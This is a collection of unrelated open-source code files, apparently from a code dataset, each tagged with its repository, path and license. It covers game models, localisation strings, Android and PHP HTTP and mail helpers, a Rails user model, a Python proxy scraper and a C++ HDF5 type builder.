taskdata(std::pair<int, int> target_coords, std::pair<entity*, item*> target_item);
taskdata(std::pair<int, int> target_coords, int time);
std::pair<int, int> target_coords;
union
{
entity* target_entity;
building* target_building;
std::pair<entity*, item*> target_item;
int time;
};
};
/**
* Task type enumeration.
*/
enum class tasktype
{
idle, //!< idle
move, //!< move
build, //!< build
harvest, //!< harvest
take_item, //!< take_item
store_item,//!< store_item
rest //!< rest
};
/**
* Task class.
* Represents a task that can be carried out by villagers.
*/
class task
{
public:
task(tasktype type, taskdata data);
tasktype get_type();
taskdata get_data();
private:
std::pair<tasktype, taskdata> data;
};
}
#endif /* INCLUDE_MODEL_TASK_HPP_ */
| Netflux/Villa | include/model/task.hpp | C++ | gpl-3.0 | 1,286 |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Strings for component 'mimetypes', language 'nl', branch 'MOODLE_22_STABLE'
*
* @package mimetypes
* @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
$string['application/msword'] = 'Word-document';
$string['application/pdf'] = 'PDF-document';
$string['application/vnd.ms-excel'] = 'Excell rekenblad';
$string['application/vnd.ms-powerpoint'] = 'Powerpoint presentatie';
$string['application/zip'] = 'Zip-bestand';
$string['audio/mp3'] = 'MP3-geluidsbestand';
$string['audio/wav'] = 'geluidsbestand';
$string['document/unknown'] = 'bestand';
$string['image/bmp'] = 'ongecomprimeerde BMP-afbeelding';
$string['image/gif'] = 'GIF-afbeelding';
$string['image/jpeg'] = 'JPEG-afbeelding';
$string['image/png'] = 'PNG afbeelding';
$string['text/plain'] = 'tekstbestand';
$string['text/rtf'] = 'RTF-document';
| danielbonetto/twig_MVC | lang/nl/mimetypes.php | PHP | gpl-3.0 | 1,639 |
/*
* File: city.cpp
* Author: matthew
*
* Created on 24 October 2013, 20:28
*/
#include <gtk/gtk.h>
#include <iostream>
#include <stdlib.h> /* abs */
#include "city.h"
#include "unit_ref.h"
#include "includes.h"
using namespace std;
cCity::cCity(gint iCityPlayerId_, gint iCellX_, gint iCellY_, gint iCityIslandListId_) {
//if (debugCityAdd) println(" cCity constructor for intCityPlayerId_=" + intCityPlayerId_+", iCityIslandListId_="+iCityIslandListId_);
iCityPlayerId=iCityPlayerId_;
setCityIslandListId(iCityIslandListId_);
iCellX=iCellX_;
iCellY=iCellY_;
iStrength=1; //int(random(1,3));
//if( intCityPlayerId_==1 ) {
//println("cCity constructor for intCityPlayerId_=" + intCityPlayerId_ +" strength="+strength);
//}
if( iCityPlayerId_ != -1 ) {
//count << "is human or computer city so build a tank";
// game rule: default initial production to Tank
iProductionUnitTypeId= 0;
//iProductionDaysLeft = cUnitRef::getDaysToProduce(0);
iProductionDaysLeft = 4;
//sProductionUnitTypeName = cUnitRef::getUnitName(0);
//println("productionUnitTypeId=" + productionUnitTypeId + ", productionDaysLeft=" + productionDaysLeft);
//oIslandList.updateIslandPlayerCityCount(getCityIslandListId(), -1, intCityPlayerId_);
} else {
//println("city is unoccupied so build nothing");
// game rule: empty city does not produce anything
iProductionUnitTypeId= -1;
iProductionDaysLeft = -1;
//sProductionUnitTypeName = "N/A";
//println("productionUnitTypeId=" + productionUnitTypeId + ", productionDaysLeft=" + productionDaysLeft);
//oIslandList.increaseUnoccupiedCityCount( getCityIslandListId() );
}
}
//GString cCity::getLocation() { return nf(iCellX,3)+","+nf(iCellY,3); }
gint cCity::getCellX() { return iCellX; }
gint cCity::getCellY() { return iCellY; }
gint cCity::getCityPlayerId() { return iCityPlayerId; }
gint cCity::setCityPlayerId(gint iCityPlayerId_) { iCityPlayerId=iCityPlayerId_; }
gint cCity::setCityIslandListId(gint value_) { iCityIslandListId=value_; }
gint cCity::getCityIslandListId() { return iCityIslandListId; }
void cCity::printRowCol() {
cout << "city at row=" << iCellX << ", col=" << iCellY;
}
gchar* cCity::getStatus() {
gchar* sStatus="Unoccupied";
switch( getCityPlayerId() ) {
case 1:
sStatus="player 1";
break;
case 2:
sStatus="player 2";
break;
}
return sStatus;
}
gboolean cCity::isNearby(gint iCellX_, gint iCellY_) {
if ( abs(iCellX_ - iCellX)<=2 && abs(iCellY_ - iCellY)<=2 ) return true;
else return false;
}
gboolean cCity::isAt(gint cellRow_, gint cellCol_) {
if( iCellX==cellRow_ && iCellY==cellCol_ ) return true;
else return false;
}
gboolean cCity::isOccupied() {
if( iCityPlayerId==-1 ) return false;
else return true;
}
| mmcnicol/StratConClone-GTK-CPP | src/city.cpp | C++ | gpl-3.0 | 2,986 |
/*
* Copyright (c) 2010-2012 Matthias Klass, Johannes Leimer,
* Rico Lieback, Sebastian Gabriel, Lothar Gesslein,
* Alexander Rampp, Kai Weidner
*
* This file is part of the Physalix Enrollment System
*
* Foobar is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Foobar is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Foobar. If not, see <http://www.gnu.org/licenses/>.
*/
package hsa.awp.common.model;
public enum TemplateType {
DRAWN("Losprozedur", "drawMail.vm"),
DRAWN_NO_LUCK("Losprozedur - nichts Zugelost", "noLuckMail.vm"),
FIFO("Fifo-Prozedur", "fifoMail.vm");
private String desc;
private String fileName;
private TemplateType(String desc, String fileName) {
this.desc = desc;
this.fileName = fileName;
}
public String getDesc() {
return desc;
}
public String getFileName() {
return fileName;
}
}
| physalix-enrollment/physalix | Common/src/main/java/hsa/awp/common/model/TemplateType.java | Java | gpl-3.0 | 1,347 |
package cn.eoe.app.https;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.HttpVersion;
import org.apache.http.NameValuePair;
import org.apache.http.ParseException;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ClientConnectionManager;
import org.apache.http.conn.params.ConnManagerParams;
import org.apache.http.conn.scheme.PlainSocketFactory;
import org.apache.http.conn.scheme.Scheme;
import org.apache.http.conn.scheme.SchemeRegistry;
import org.apache.http.conn.ssl.SSLSocketFactory;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.params.HttpProtocolParams;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import android.content.Context;
import android.util.Log;
import cn.eoe.app.R;
import cn.eoe.app.utils.CommonLog;
import cn.eoe.app.utils.LogFactory;
public class CustomHttpClient {
private static String TAG = "CustomHttpClient";
private static final CommonLog log = LogFactory.createLog();
private static final String CHARSET_UTF8 = HTTP.UTF_8;
private static final String CHARSET_GB2312 = "GB2312";
private static HttpClient customerHttpClient;
private CustomHttpClient() {
}
/**
* HttpClient post方法
*
* @param url
* @param nameValuePairs
* @return
*/
public static String PostFromWebByHttpClient(Context context, String url,
NameValuePair... nameValuePairs) {
try {
List<NameValuePair> params = new ArrayList<NameValuePair>();
if (nameValuePairs != null) {
for (int i = 0; i < nameValuePairs.length; i++) {
params.add(nameValuePairs[i]);
}
}
UrlEncodedFormEntity urlEncoded = new UrlEncodedFormEntity(params,
CHARSET_UTF8);
HttpPost httpPost = new HttpPost(url);
httpPost.setEntity(urlEncoded);
HttpClient client = getHttpClient(context);
HttpResponse response = client.execute(httpPost);
if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
throw new RuntimeException("请求失败");
}
HttpEntity resEntity = response.getEntity();
return (resEntity == null) ? null : EntityUtils.toString(resEntity,
CHARSET_UTF8);
} catch (UnsupportedEncodingException e) {
Log.w(TAG, e.getMessage());
return null;
} catch (ClientProtocolException e) {
Log.w(TAG, e.getMessage());
return null;
} catch (IOException e) {
throw new RuntimeException(context.getResources().getString(
R.string.httpError), e);
}
}
public static String getFromWebByHttpClient(Context context, String url,
NameValuePair... nameValuePairs) throws Exception {
log.d("getFromWebByHttpClient url = " + url);
try {
// http地址
// String httpUrl =
// "http://192.168.1.110:8080/httpget.jsp?par=HttpClient_android_Get";
StringBuilder sb = new StringBuilder();
sb.append(url);
if (nameValuePairs != null && nameValuePairs.length > 0) {
sb.append("?");
for (int i = 0; i < nameValuePairs.length; i++) {
if (i > 0) {
sb.append("&");
}
sb.append(String.format("%s=%s",
nameValuePairs[i].getName(),
nameValuePairs[i].getValue()));
}
}
// HttpGet连接对象
HttpGet httpRequest = new HttpGet(sb.toString());
// 取得HttpClient对象
HttpClient httpclient = getHttpClient(context);
// 请求HttpClient,取得HttpResponse
HttpResponse httpResponse = httpclient.execute(httpRequest);
// 请求成功
if (httpResponse.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
throw new RuntimeException(context.getResources().getString(
R.string.httpError));
}
return EntityUtils.toString(httpResponse.getEntity());
} catch (ParseException e) {
// TODO Auto-generated catch block
Log.e("ParseException", e.toString());
throw new RuntimeException(context.getResources().getString(
R.string.httpError), e);
} catch (IOException e) {
// TODO Auto-generated catch block
log.e("IOException ");
e.printStackTrace();
throw new RuntimeException(context.getResources().getString(
R.string.httpError), e);
} catch (Exception e) {
Log.e("ParseException", e.toString());
throw new Exception(context.getResources().getString(
R.string.httpError), e);
}
}
/**
* 创建httpClient实例
*
* @return
* @throws Exception
*/
private static synchronized HttpClient getHttpClient(Context context) {
if (null == customerHttpClient) {
HttpParams params = new BasicHttpParams();
// 设置一些基本参数
HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
HttpProtocolParams.setContentCharset(params, CHARSET_UTF8);
HttpProtocolParams.setUseExpectContinue(params, true);
HttpProtocolParams
.setUserAgent(
params,
"Mozilla/5.0(Linux;U;Android 2.2.1;en-us;Nexus One Build.FRG83) "
+ "AppleWebKit/553.1(KHTML,like Gecko) Version/4.0 Mobile Safari/533.1");
// 超时设置
/* 从连接池中取连接的超时时间 */
ConnManagerParams.setTimeout(params, 1000);
/* 连接超时 */
int ConnectionTimeOut = 3000;
if (!HttpUtils.isWifiDataEnable(context)) {
ConnectionTimeOut = 10000;
}
HttpConnectionParams
.setConnectionTimeout(params, ConnectionTimeOut);
/* 请求超时 */
HttpConnectionParams.setSoTimeout(params, 4000);
// 设置我们的HttpClient支持HTTP和HTTPS两种模式
SchemeRegistry schReg = new SchemeRegistry();
schReg.register(new Scheme("http", PlainSocketFactory
.getSocketFactory(), 80));
schReg.register(new Scheme("https", SSLSocketFactory
.getSocketFactory(), 443));
// 使用线程安全的连接管理来创建HttpClient
ClientConnectionManager conMgr = new ThreadSafeClientConnManager(
params, schReg);
customerHttpClient = new DefaultHttpClient(conMgr, params);
}
return customerHttpClient;
}
}
| WallaceLiu/yf-app | source/src/cn/eoe/app/https/CustomHttpClient.java | Java | gpl-3.0 | 6,432 |
<?php
// Text
$_['text_subject'] = '%s - Product Review';
$_['text_waiting'] = 'You have a new product review waiting.';
$_['text_product'] = 'Product: %s';
$_['text_reviewer'] = 'Reviewer: %s';
$_['text_rating'] = 'Rating: %s';
$_['text_rating_accuracy'] = 'Delivery Accuracy Rating: %s';
$_['text_review'] = 'Review Text:';
$_['text_greeting_customer'] = 'Thank you for your review';
$_['text_greeting_merchant'] = 'You have a new review of your product'; | fwahyudi17/ofiskita | catalog/language/english/mail/review.php | PHP | gpl-3.0 | 457 |
class User < ActiveRecord::Base
class ClearanceError < StandardError; end
class SuicideError < StandardError; end
class DecapitateError < StandardError; end
ERROR = {
:clearance => "Not enough clearance to perform this operation.",
:decapitate => "You are the only one administrator. Choose a heir before leaving.",
:suicide => <<-END
don't give up
- 'cause you have friends
- don't give up
- you're not the only one
- don't give up
- no reason to be ashamed
- don't give up
- you still have us
- don't give up now
- we're proud of who you are
- don't give up
- you know it's never been easy
- don't give up
- 'cause I believe there's a place
- there's a place where we belong
END
}
# Include default devise modules. Others available are:
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable,
:confirmable, :timeoutable, :lockable,
:omniauthable, :omniauth_providers => [:google_oauth2]
validates :last_name, :uniqueness => {:scope => :first_name}
scope :admins, -> { where(admin: true) }
scope :plebeians, -> { where(admin: false) }
def self.find_for_google_oauth2(access_token, signed_in_resource=nil)
data = access_token.info
user = User.where(:email => data["email"]).first
# Uncomment the section below if you want users to be created if they don't exist
unless user
token = Devise.friendly_token[0,20]
user = User.create(first_name: data["first_name"],
last_name: data["last_name"],
email: data["email"],
password: token
)
UserMailer.welcome_user_email(user, token).deliver_later
end
user
end
def apply_oauth(omniauth)
omniauth = omniauth['info']
self.first_name = omniauth['first_name']
self.last_name = omniauth['last_name']
self.email = omniauth['email']
end
def full_name
first_name + " " + last_name
end
def banish(user)
raise ClearanceError, ERROR[:clearance] if !admin?
raise DecapitateError, ERROR[:decapitate] if User.admins.count < 2
raise SuicideError, ERROR[:suicide] if user == self
user.admin = false
user.save
end
end
| txemagon/Q | app/models/user.rb | Ruby | gpl-3.0 | 2,284 |
Meteor.methods({
'deviceId/isClaimed': function(deviceId) {
check(deviceId, String);
return isClaimed(deviceId)
},
'deviceId/gen': function() {
return gen();
},
'deviceId/store': function(deviceId) {
check(deviceId, String);
return store(deviceId);
},
});
var isClaimed = function(deviceId) {
return !!DeviceIds.findOne({deviceId: deviceId})
}
var gen = function() {
var deviceId = Random.id();
if(isClaimed(deviceId))
return gen();
store(deviceId);
return deviceId;
}
var store = function(deviceId) {
if(isClaimed(deviceId))
throw new Meteor.Error('device-already-exists', "That deviceId already exists.")
return !!DeviceIds.insert({deviceId: deviceId})
}
_.extend(DeviceId, {
isClaimed: isClaimed
})
| marvinmarnold/meteor-cordova-device-id | device-id-server.js | JavaScript | gpl-3.0 | 767 |
<?php
require '../app_code/cmncde/connect_pg.php';
//var_dump($_POST);
set_time_limit(3000);
$sendIndvdl = isset($_POST['sendIndvdl']) ? cleanInputData($_POST['sendIndvdl']) : TRUE;
$msgTyp = isset($_POST['msgTypeCombo']) ? cleanInputData($_POST['msgTypeCombo']) : 'Email';
$toAddresses = isset($_POST['toAddresses']) ? cleanInputData($_POST['toAddresses']) : "";
$ccAddresses = isset($_POST['ccAddresses']) ? cleanInputData($_POST['ccAddresses']) : "";
$bccAddresses = isset($_POST['bccAddresses']) ? cleanInputData($_POST['bccAddresses']) : "";
$subjectDetails = isset($_POST['subjectDetails']) ? cleanInputData($_POST['subjectDetails']) : "";
$attachments = isset($_POST['attachments']) ? cleanInputData($_POST['attachments']) : "";
$messageBody = isset($_POST['msgHtml']) ? cleanInputData($_POST['msgHtml']) : "";
$messageBody = urldecode($messageBody);
//print_r($messageBody);
$toAddresses = trim(str_replace("\r\n", "", str_replace(",", ";", $toAddresses)), ";");
$ccAddresses = trim(str_replace("\r\n", "", str_replace(",", ";", $ccAddresses)), ";");
$bccAddresses = trim(str_replace("\r\n", "", str_replace(",", ";", $bccAddresses)), ";");
$attachments = trim(str_replace("\r\n", "", str_replace(",", ";", $attachments)), ";");
$toAddresses = $toAddresses . ";" . $ccAddresses . ";" . $bccAddresses;
$toEmails = explode(";", $toAddresses);
$errMsg = "";
$cntrnLmt = 0;
$mailLst = "";
$emlRes = false;
$failedMails = "";
//string errMsg = "";
for ($i = 0; $i < count($toEmails); $i++) {
if ($cntrnLmt == 0) {
$mailLst = "";
}
$mailLst .= $toEmails[$i] . ",";
$cntrnLmt++;
if ($cntrnLmt == 50 || $i == count($toEmails) - 1 || $sendIndvdl == true || $msgTyp != "Email") {
if ($msgTyp == "Email") {
$emlRes = sendEmail(
trim($mailLst, ","),
trim($mailLst, ","),
$subjectDetails,
$messageBody,
$errMsg,
$ccAddresses,
$bccAddresses,
$attachments
);
} else if ($msgTyp == "SMS") {
$emlRes = sendSMS(cleanOutputData($messageBody), trim($mailLst, ","), $errMsg);
} else {
}
if ($emlRes == false) {
$failedMails .= trim($mailLst, ",") . ";";
}
$cntrnLmt = 0;
}
}
if ($failedMails == "") {
//cmnCde.showMsg("Message Successfully Sent to all Recipients!", 3);
print_r(json_encode(array(
'success' => true,
'message' => 'Sent Successfully',
'data' => array('src' => 'Message Successfully Sent to all Recipients!'),
'total' => '1',
'errors' => ''
)));
} else {
//cmnCde.showSQLNoPermsn("Messages to some Recipients Failed!\r\n" + errMsg);
print_r(json_encode(array(
'success' => false,
'message' => 'Error',
'data' => '',
'total' => '0',
'errors' => 'Messages to some Recipients Failed!<br/>' . $errMsg
)));
}
| rhomicom-systems-tech-gh/Rhomicom-ERP-Web | xchange/mailer/sendSMS.php | PHP | gpl-3.0 | 2,976 |
# Author: Jason Lu
import urllib.request
from bs4 import BeautifulSoup
import time
req_header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
#'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3',
'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding':'en-us',
'Connection':'keep-alive',
'Referer':'http://www.baidu.com/'
}
req_timeout = 5
testUrl = "http://www.baidu.com/"
testStr = "wahaha"
file1 = open('proxy.txt' , 'w')
# url = ""
# req = urllib2.Request(url,None,req_header)
# jsondatas = urllib2.urlopen(req,None,req_timeout).read()
# cookies = urllib2.HTTPCookieProcessor()
# 希望登录状态一直保持,使用Cookie处理
import http.cookiejar
# 使用http.cookiejar.CookieJar()创建CookieJar对象
cjar = http.cookiejar.CookieJar()
cookies = urllib.request.HTTPCookieProcessor(cjar)
checked_num = 0
grasp_num = 0
for page in range(1, 3):
# req = urllib2.Request('http://www.xici.net.co/nn/' + str(page), None, req_header)
# html_doc = urllib2.urlopen(req, None, req_timeout).read()
req = urllib.request.Request('http://www.xici.net.co/nn/' + str(page))
req.add_header('User-Agent',
"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1")
html_doc = urllib.request.urlopen(req).read().decode('utf-8')
# html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page)).read()
soup = BeautifulSoup(html_doc)
trs = soup.find('table', id='ip_list').find_all('tr')
print(trs)
for tr in trs[1:]:
tds = tr.find_all('td')
ip = tds[1].text.strip()
port = tds[2].text.strip()
protocol = tds[5].text.strip()
if protocol == 'HTTP' or protocol == 'HTTPS':
#of.write('%s=%s:%s\n' % (protocol, ip, port))
print('%s=%s:%s' % (protocol, ip, port))
grasp_num +=1
proxyHandler = urllib.request.ProxyHandler({"http": r'http://%s:%s' % (ip, port)})
opener = urllib.request.build_opener(cookies, proxyHandler)
opener.addheaders = [('User-Agent',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36')]
t1 = time.time()
try:
req = opener.open(testUrl, timeout=req_timeout)
result = req.read()
timeused = time.time() - t1
pos = result.find(testStr)
if pos > 1:
file1.write(protocol+"\t"+ip+"\t"+port+"\n")
checked_num+=1
print(checked_num, grasp_num)
else:
continue
except Exception as e:
print(str(e))
continue
file1.close()
print(checked_num,grasp_num) | jinzekid/codehub | python/lyutil/ly_proxy_test.py | Python | gpl-3.0 | 3,046 |
/*
* PROJECT: NyARToolkitCS
* --------------------------------------------------------------------------------
* The NyARToolkitCS is C# edition ARToolKit class library.
* Copyright (C)2008-2009 Ryo Iizuka
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* For further information please contact.
* http://nyatla.jp/nyatoolkit/
* <airmail(at)ebony.plala.or.jp> or <nyatla(at)nyatla.jp>
*
*/
using System.Diagnostics;
namespace jp.nyatla.nyartoolkit.cs.utils
{
/**
* スタック型の可変長配列。
* 配列には実体を格納します。
*/
public abstract class NyObjectStack<T>
{
protected T[] _items;
protected int _length;
/**
* 最大ARRAY_MAX個の動的割り当てバッファを準備する。
*
* @param i_array
* @param i_element_type
* JavaのGenedicsの制限突破
*/
protected NyObjectStack(int i_length)
{
//領域確保
this._items = new T[i_length];
for (int i = 0; i < i_length; i++)
{
this._items[i] = createElement();
}
//使用中個数をリセット
this._length = 0;
return;
}
protected abstract T createElement();
/**
* 新しい領域を予約します。
* @return
* 失敗するとnull
* @throws NyARException
*/
public T prePush()
{
// 必要に応じてアロケート
if (this._length >= this._items.Length)
{
return default(T);
}
// 使用領域を+1して、予約した領域を返す。
T ret = this._items[this._length];
this._length++;
return ret;
}
/**
* スタックを初期化します。
* @param i_reserv_length
* 使用済みにするサイズ
* @return
*/
public void init(int i_reserv_length)
{
// 必要に応じてアロケート
if (i_reserv_length >= this._items.Length)
{
throw new NyARException();
}
this._length = i_reserv_length;
}
/**
* 見かけ上の要素数を1減らして、そのオブジェクトを返します。
* 返却したオブジェクトの内容は、次回のpushまで有効です。
* @return
*/
public T pop()
{
Debug.Assert(this._length >= 1);
this._length--;
return this._items[this._length];
}
/**
* 見かけ上の要素数をi_count個減らします。
* @param i_count
* @return
*/
public void pops(int i_count)
{
Debug.Assert(this._length >= i_count);
this._length -= i_count;
return;
}
/**
* 配列を返します。
*
* @return
*/
public T[] getArray()
{
return this._items;
}
public T getItem(int i_index)
{
return this._items[i_index];
}
/**
* 配列の見かけ上の要素数を返却します。
* @return
*/
public int getLength()
{
return this._length;
}
/**
* 見かけ上の要素数をリセットします。
*/
public void clear()
{
this._length = 0;
}
}
} | Vanlalhriata/CameraPositioner | AugmentedReality/NyARToolkit/core/types/stack/NyARObjectStack.cs | C# | gpl-3.0 | 4,238 |
var direccion = '/api/Usuarios/' + sessionStorage.userId + '?access_token=' + sessionStorage.userToken;
var nombre;
/* Eliminar los valores de sesión */
function eliminarStorage(){
sessionStorage.removeItem("userToken");
sessionStorage.removeItem("userId");
sessionStorage.removeItem("userTtl");
sessionStorage.removeItem("userCreated");
sessionStorage.removeItem("userNombre");
sessionStorage.removeItem("userApellidos");
sessionStorage.removeItem("userDni");
sessionStorage.removeItem("userTelefono");
sessionStorage.removeItem("userCurso");
sessionStorage.removeItem("userUsername");
sessionStorage.removeItem("userEmail");
sessionStorage.removeItem("userObjetivoId");
sessionStorage.removeItem("userCentroId");
sessionStorage.removeItem("NombreCentro");
sessionStorage.removeItem("CodigoCentro");
sessionStorage.removeItem("LocalidadCentro");
sessionStorage.removeItem("userIdAlumnado");
sessionStorage.removeItem("NombreObjetivo");
}
conexion('GET','',direccion);
function conexion(metodo,datos,url){
$.ajax({
async: true,
dataType: 'json',
data: datos,
method: metodo,
url: url,
}).done(function (respuesta){
if(typeof(respuesta.id) !== undefined){
sessionStorage.userNombre = respuesta.Nombre;
sessionStorage.userApellidos = respuesta.Apellidos;
sessionStorage.userDni = respuesta.DNI;
sessionStorage.userTelefono = respuesta.Telefono;
sessionStorage.userCurso = respuesta.Curso;
sessionStorage.userUsername = respuesta.username;
sessionStorage.userEmail = respuesta.email;
sessionStorage.userCentroId = respuesta.centroId;
sessionStorage.userObjetivoId = respuesta.objetivo;
nombre = "<i class='fa fa-user-circle' aria-hidden='true'></i> " + sessionStorage.userNombre;
$("#botonPerfil").html(nombre);
$("#botonPerfilAdmin").html(nombre);
$('#mensajeInicio').html("BIENVENIDO " + sessionStorage.userNombre + " A LA APLICACIÓN DE GESTIÓN DEL VIAJE DE ESTUDIOS");
}else{
console.log("Error Inicio");
eliminarStorage();
window.location.href = "../index.html";
}
}).fail(function (xhr){
console.log("Error Inicio");
eliminarStorage();
window.location.href = "../index.html";
});
}
$(document).ready(function() {
$("#botonSalir").click(function(){
eliminarStorage();
window.location.href = "../index.html";
});
$("#botonPerfil").click(function(){
window.location.href = "perfil.html";
});
}) | Salva79/ProyectoViaje | client/js/usuario.js | JavaScript | gpl-3.0 | 2,438 |
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { MdButtonModule, MdCardModule, MdProgressSpinnerModule, MdIconModule } from '@angular/material';
import { AvailableSponsorsComponent } from './available-sponsors/available-sponsors.component';
import { SponsorsRoutingModule } from '../sponsors/sponsors-routing.module';
import { MediaTypeModule } from '../shared/media-type/media-type.module';
@NgModule({
imports: [
CommonModule,
SponsorsRoutingModule,
MdButtonModule,
MdCardModule,
MdProgressSpinnerModule,
MdIconModule,
MediaTypeModule
],
declarations: [AvailableSponsorsComponent]
})
export class SponsorsModule { }
| things-cx/ThingsWebApp | Things.WebApp/src/app/sponsors/sponsors.module.ts | TypeScript | gpl-3.0 | 703 |
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/**
* Controller that gets called by the 'cli.php' entry script
*
*
*
* @author Claus Beerta <claus@beerta.de>
*/
class Cli extends Controller
{
/**
* Cron Updater updates the EveApi XML Caches for all characters found in the Database
*/
public function cron_update()
{
print date('r')." - Updating XML Cache:\n";
$index = 0;
$what_to_update = array (
'Account Balance' => 'AccountBalance',
'Skill in Training' => 'SkillInTraining',
'Character Sheet' => 'CharacterSheet',
'Skill Queue' => 'SkillQueue',
/* 'Wallet Transactions' => 'WalletTransactions', */ /* this is somehow borked by ccp currently, frequently throws an error */
'Wallet Journal' => 'WalletJournal',
'Industry Jobs' => 'IndustryJobs',
'Market Orders' => 'MarketOrders',
'Standings' => 'Standings',
'Mail Headers' => 'MailMessages',
'Upcoming Calendar Events' => 'UpcomingCalendarEvents',
);
foreach ($this->eveapi->characters() as $char)
{
$this->eveapi->setCredentials($char);
print " - {$char->name}: ";
foreach ($what_to_update as $k => $v)
{
print ".. {$k}";
$res = $this->eveapi->api->char->$v();
}
print "\n";
}
}
}
| CBeerta/EveTool | application/controllers/cli.php | PHP | gpl-3.0 | 1,374 |
<?php
namespace SMW\SQLStore\QueryEngine\DescriptionInterpreters;
use SMW\Query\Language\Description;
use SMW\Query\Language\NamespaceDescription;
use SMW\SQLStore\QueryEngine\DescriptionInterpreter;
use SMW\SQLStore\QueryEngine\QuerySegment;
use SMW\SQLStore\QueryEngine\QuerySegmentListBuilder;
use SMWSql3SmwIds;
/**
* @license GNU GPL v2+
* @since 2.2
*
* @author Markus Krötzsch
* @author Jeroen De Dauw
* @author mwjames
*/
class NamespaceDescriptionInterpreter implements DescriptionInterpreter {
/**
* @var QuerySegmentListBuilder
*/
private $querySegmentListBuilder;
/**
* @since 2.2
*
* @param QuerySegmentListBuilder $querySegmentListBuilder
*/
public function __construct( QuerySegmentListBuilder $querySegmentListBuilder ) {
$this->querySegmentListBuilder = $querySegmentListBuilder;
}
/**
* @since 2.2
*
* @return boolean
*/
public function canInterpretDescription( Description $description ) {
return $description instanceof NamespaceDescription;
}
/**
* TODO: One instance of the SMW IDs table on s_id always suffices (swm_id is KEY)! Doable in execution ... (PERFORMANCE)
*
* @since 2.2
*
* @param Description $description
*
* @return QuerySegment
*/
public function interpretDescription( Description $description ) {
$db = $this->querySegmentListBuilder->getStore()->getConnection( 'mw.db.queryengine' );
$query = new QuerySegment();
$query->joinTable = SMWSql3SmwIds::TABLE_NAME;
$query->joinfield = "$query->alias.smw_id";
$query->where = "$query->alias.smw_namespace=" . $db->addQuotes( $description->getNamespace() );
return $query;
}
}
| kylethayer/bioladder | wiki/extensions/SemanticMediaWiki/src/SQLStore/QueryEngine/DescriptionInterpreters/NamespaceDescriptionInterpreter.php | PHP | gpl-3.0 | 1,641 |
<?php
/**
* Created by PhpStorm.
* User: dimkasta
* Date: 28/08/16
* Time: 03:49
*/
namespace Iconic;
class UserName extends Property
{
public function sanitize()
{
$this->log("Sanitizing");
$this->dirty = htmlspecialchars ($this->dirty);
}
public function isPropertyValid()
{
$this->log("Is username valid?");
if(!is_string($this->dirty)) {
$this->log("Not a string");
array_push($this->issues, "non_string_username");
}
if(strlen($this->dirty) < 8) {
$this->log("Short username");
array_push($this->issues, "short_username");
}
if(strlen($this->dirty) > 20) {
$this->log("Long username");
array_push($this->issues, "long_username");
}
}
} | dimkasta/F3-UAM | src/Iconic/UserName.php | PHP | gpl-3.0 | 818 |
#include "subfind.hh"
namespace tao {
namespace subfind {
void
make_hdf5_types( h5::datatype& mem_type,
h5::datatype& file_type )
{
// Create memory type.
mem_type.compound( sizeof(halo) );
mem_type.insert( h5::datatype::native_int, "descendant", HOFFSET( halo, descendant ) );
mem_type.insert( h5::datatype::native_int, "first progenitor", HOFFSET( halo, first_progenitor ) );
mem_type.insert( h5::datatype::native_int, "next progenitor", HOFFSET( halo, next_progenitor ) );
